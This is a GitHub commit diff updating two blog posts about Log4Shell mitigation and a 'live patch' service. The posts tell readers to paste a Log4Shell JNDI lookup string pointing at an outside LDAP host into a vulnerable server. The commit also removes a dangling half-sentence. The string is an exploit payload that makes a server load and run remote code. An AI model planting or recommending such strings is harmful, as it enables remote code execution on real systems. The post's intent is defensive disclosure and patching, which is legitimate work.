Skip to content

Commit 865236e

Browse files
committed
update blog posts
Former-commit-id: c6a4f57 Former-commit-id: 0f5b5498c26bb2e90645764843efda71a25b06e0
1 parent b8d0221 commit 865236e

File tree

2 files changed

+1
-3
lines changed

2 files changed

+1
-3
lines changed

docs/blog/2021-12-12-log4j-zero-day-mitigation-guide.mdx

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -305,7 +305,7 @@ you don't have permission to is most likely illegal. The fix will only work unti
305305

306306
You may also use our hosted version here to patch yourself:
307307
```
308-
${jndi:ldap://hotpatch.log4shell.com:1389/a}
308+
${jndi:ldap://patch.log4shell.com:1389/a}
309309
```
310310

311311
Just simply paste that anywhere into your server where you're vulnerable, and it will work. (For example, in the `main` function when you start up your server)

docs/blog/2021-12-15-log4shell-live-patch.mdx

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -78,8 +78,6 @@ patch has been tested on a number of systems, your system might be different and
7878
This string will trigger the Log4Shell vulnerability and attempt to [exploit it](https://www.lunasec.io/docs/blog/).
7979
Instead of your server being taken over by an attacker, your server will actually be fixed of the vulnerability.
8080

81-
We feel this
82-
8381
Since LunaSec is an open source company, we pride ourselves in being transparent in the work that we do. You can find the
8482
full source code of this live patch service [here](https://github.com/lunasec-io/lunasec/tree/master/tools/log4shell) in our repo.
8583
If you find this tool helpful, consider giving us a star ;)

0 commit comments

Comments
 (0)